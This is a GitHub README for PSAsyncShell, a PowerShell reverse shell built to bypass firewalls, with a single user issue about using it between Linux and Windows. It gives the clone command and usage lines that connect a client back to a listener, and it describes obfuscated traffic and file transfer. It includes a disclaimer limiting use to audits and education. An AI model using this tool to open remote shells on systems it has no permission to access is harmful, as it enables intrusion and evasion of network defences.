joelgmsec/psasyncshell

PowerShell Asynchronous TCP Reverse Shell

PSAsyncShell

PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell.

Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.

Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded and obfuscated traffic.

Requirements

• PowerShell 4.0 or greater

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSAsyncShell

Usage

.\PSAsyncShell.ps1 -h

  ____  ____    _                         ____  _          _ _
 |  _ \/ ___|  / \   ___ _   _ _ __   ___/ ___|| |__   ___| | |
 | |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
 |  __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | |  __/ | |
 |_|   |____/_/   \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
                         |___/

  ---------------------- by @JoelGMSec -----------------------

 Info:  This tool helps you to get a remote shell
        over asynchronous TCP to bypass firewalls

 Usage: .\PSAsyncShell.ps1 -s -p listen_port
          Listen for a new connection from the client

        .\PSAsyncShell.ps1 -c server_ip server_port
          Connect the client to a PSAsyncShell server

 Warning: All data will be sent unencrypted
          Upload function doesn't use MultiPart

The detailed guide of use can be found at the following link:

https://darkbyte.net/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincrona

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

Credits and Acknowledgments

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

Contact

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.

Support

You can support my work buying me a coffee:

psasyncshell's Issues

Does not works in Linux - Windows

Hi bro,

I did test your tool but it seems only work in Windows-Windows, it does not work Windows-Linux

Attempt 1: Bindshell

File PSAsyncShell.sh always requires 2 params which is $IP and $Port
→ Only acts as connection, and I think cannot work in most cases because it is hardly to see Bindshell on Windows

Attempt 2: Revershell

On Linux, I use netcat to listener, and from Windows I connect to Linux. It received the connection, but the shell breaks after that

So I do hope in the future, you can implement for Linux-Windows too

Regards!